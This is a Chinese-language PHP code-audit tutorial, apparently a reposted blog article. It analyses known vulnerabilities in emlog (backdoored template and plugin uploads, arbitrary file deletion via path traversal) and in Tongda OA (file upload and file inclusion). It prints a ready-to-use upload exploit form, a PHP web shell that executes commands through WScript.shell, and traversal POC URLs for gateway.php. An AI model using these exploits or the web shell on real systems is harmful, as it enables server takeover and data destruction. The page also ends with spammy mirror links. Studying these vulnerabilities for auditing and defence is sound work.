当前位置: 首页 > news >正文

代码审计-PHP专题原生开发文件上传删除包含文件操作监控Zend源码解密1day分析

快速分析脆弱:

1、看文件路径

2、看代码里面的变量(可控)

3、看变量前后的过滤

文件安全挖掘点:

1、脚本文件名

2、应用功能点

3、操作关键字

文件上传,文件下载(读取),文件包含,文件删除等

emlog-文件上传&文件删除

搜索函数关键字或应用关键字:

流程:搜$_FILES->template.php->upload_zip->emUnZip

流程:搜安装或上传等->template.php->upload_zip->emUnZip

https://www.cnvd.org.cn/flaw/show/CNVD-2023-74536

1、压缩默认模版目录

2、压缩一个带后门模版

3、上传带后门模版压缩包

流程:搜$_FILES->plugin.php->upload_zip->emUnZip

流程:搜安装或上传等->plugin.php->upload_zip->emUnZip

https://www.cnvd.org.cn/flaw/show/CNVD-2023-74535

1、压缩默认插件目录

2、压缩一个带后门插件

3、上传带后门插件压缩包

流程:搜unlink->data.php->action=dell_all_bak->bak[]

https://www.cnvd.org.cn/flaw/show/CNVD-2021-41633

1、/admin/data.php?action=dell_all_bak

2、bak[1]=../xxx.php

上传漏洞复现

这里有一个安装模板功能,漏洞点就在这里,我们把templates目录下的default文件压缩,里面写入一个phpinfo();

我们上传后再default目录下找到了1.php

上传漏洞审计

这里我们能看到请求URL为 http://127.0.0.1:85/admin/template.php?action=upload_zip

我们追踪到这个方法,就是参数action=upload_zip这里

并且前端页面的表单名就是tplzip

然后这里用emUnZip函数将压缩包中文件保存到templates目录下去

跟踪一下emUnZip函数,就是一个解压zip的过程

文件任意删除漏洞

复现:

在这里让变量$action等于dell_all_bak,然后提交bak用POST方法

在这里我们创建一个1.txt,然后尝试删除

这里爆出备份文件删除成功,我们去看一下

删除成功

利用文件监控器进行监控文件变化

拓展:

/admin/plugin.php?action=del&plugin=../../../1/txt&token=xxx

通达OA-文件上传&文件包含

源码加密:

1、观察

2、找资料

文件监控:file-jiankong.py

方便监控获取文件上传到什么地方

这里源码是加密的,我们解密一下

流程:找文件名->绕验证P->DEST_UID,UPLOAD_MOD->构ATTACHMENT

文件上传(文件名称):/webroot/ispirit/im/upload.php

1、设置P参数不为0

2、设置DEST_UID参数为1

3、设置UPLOAD_MODE参数为1,2,3

4、设置上传文件参数名为ATTACHMENT

关键点在于p,并且我们最终点要执行到这个点,就是upload这里,所有上面代码都要满足,不能退出,顺利执行到下面,所有我们就会有几个要求,p不为0,为0就会执行11行的else,就到了auth.php文件了,再往下

如果这里DEST_UID等于0,就会执行包含的代码,并且exit(),我们就没办法再往下执行了。所以这里DEST_UID要等于1

并且这里UPLOAD_MODE要等与1,2,3

并且上传的参数名为ATTACHMENT

else {

if (strtolower(substr($FILE_NAME,$POST +1, 3)) == "php")

return false;

}

所有我们得到下面的payload

这里有个过滤掉php文件,因此我们绕过一下

我们上传1.php.

这种格式,在php后面加一个.

或者使用监控脚本也能发现上传文件的位置

<html>

<body>

<form action="http://127.0.0.1/ispirit/im/upload.php"method="post"enctype="multipart/form-data">

<input type="text"name="P"value=1></input>

<input type="text"name="UPLOAD_MODE"value=1></input>

<input type="text"name="DEST_UID"value=1></input>

<input type="file"name="ATTACHMENT"></input>

<input type="submit"></input>

</body>

</html>

文件包含

流程:搜include_once->gateway.php->$url->$key->$json

文件包含(include_once):/ispirit/interface/gateway.php

绕过的poc

<?php

$command=$_POST['cmd'];

$wsh= new COM('WScript.shell');

$exec=$wsh->exec("cmd /c ".$command);

$stdout=$exec->StdOut();

$stroutput=$stdout->ReadAll();

echo$stroutput;

?>

绕过poc,然后post提交,我们使用ipconfig命令运行得到结果

poc1:

/ispirit/interface/gateway.php?json={}&url=/general/../../attach/im/xxxx/1600449966.1.txt

poc2:

/ispirit/interface/gateway.php?json={}&url=/ispirit/../../attach/im/xxxx/1600449966.1.txt

poc3:

/ispirit/interface/gateway.php?json={}&url=/module/../../attach/im/2310/1600449966.1.txt


文章转载自:

http://i4EREJCj.crdtx.cn
http://WkSYyyxe.crdtx.cn
http://n40edlER.crdtx.cn
http://Yq0WAAwY.crdtx.cn
http://X4Z34jNL.crdtx.cn
http://hMMTNI3s.crdtx.cn
http://A91v5JFJ.crdtx.cn
http://igdqXlcr.crdtx.cn
http://jaP35WJJ.crdtx.cn
http://DQip67oF.crdtx.cn
http://Sdre8sEv.crdtx.cn
http://62dTq4cp.crdtx.cn
http://3RT8S6bI.crdtx.cn
http://vJGK0Twk.crdtx.cn
http://gFACWCbm.crdtx.cn
http://RANjTAEA.crdtx.cn
http://xYsjonwR.crdtx.cn
http://LQ1xscGf.crdtx.cn
http://2cFw06q2.crdtx.cn
http://8pfD16Dr.crdtx.cn
http://B34mX2po.crdtx.cn
http://KbtbPmUF.crdtx.cn
http://UTyNTLis.crdtx.cn
http://WWyQsU4u.crdtx.cn
http://2lw5Cr83.crdtx.cn
http://IKUMUUL9.crdtx.cn
http://w02gb4to.crdtx.cn
http://8wHWp8Yi.crdtx.cn
http://lHqz4LyN.crdtx.cn
http://ADoWLzFx.crdtx.cn
http://www.dtcms.com/a/385323.html

相关文章:

  • springboot与vue中webSocket前后端连接问题
  • 数据结构——顺序存储链式存储
  • Vue 脚手架与webpack
  • pytest单元测试框架
  • CentOS7.9绿色安装mysql5.7.44
  • Cell Biology Learning Track(I)膜结构
  • 医院用的桌面管控软件有哪些?适用于医院的桌面管控软件推荐
  • 异步编程三剑客:回调、闭包与Promise组合实战
  • MySQL 主从同步(复制)实战
  • redis面试点记录
  • mysql和postgresql如何选择
  • 电磁兼容性(EMC)法规
  • 【论文笔记】Self-Supervised Point Cloud Prediction for Autonomous Driving
  • MySQL数据库(四)—— 使用MyCat实现MySQL主从读写分离实战指南
  • HTB paper
  • oracle认证有哪几种?如何选择
  • YoloV8改进策略:上采样改进|反卷积|数学上可逆的反卷积」塞进 YOLOv8,涨点不涨参!图像恢复黑科技 Converse2D 的跨界奇袭!
  • springboot netty 服务端网络编程入门与实战
  • 从零开始学AI——15
  • Linux C库函数的可重入与不可重入版本说明
  • ZooKeeper核心知识点总结:分布式系统的“协调者”
  • Unreal故障艺术之RGB颜色分离故障
  • 金融数据---东方财富人气榜-A股
  • 设计模式详解——创建型
  • Java 泛型与通配符全解析
  • Python变量与数据类型全解析:从命名规则到类型转换
  • 了解篇 | StarRocks 是个什么数据库?
  • 风险控制规则引擎:从敏捷开发工具到管理逻辑的承载者
  • 基于Matlab深度学习的植物叶片智能识别系统及其应用
  • AI编程从0-1开发一个小程序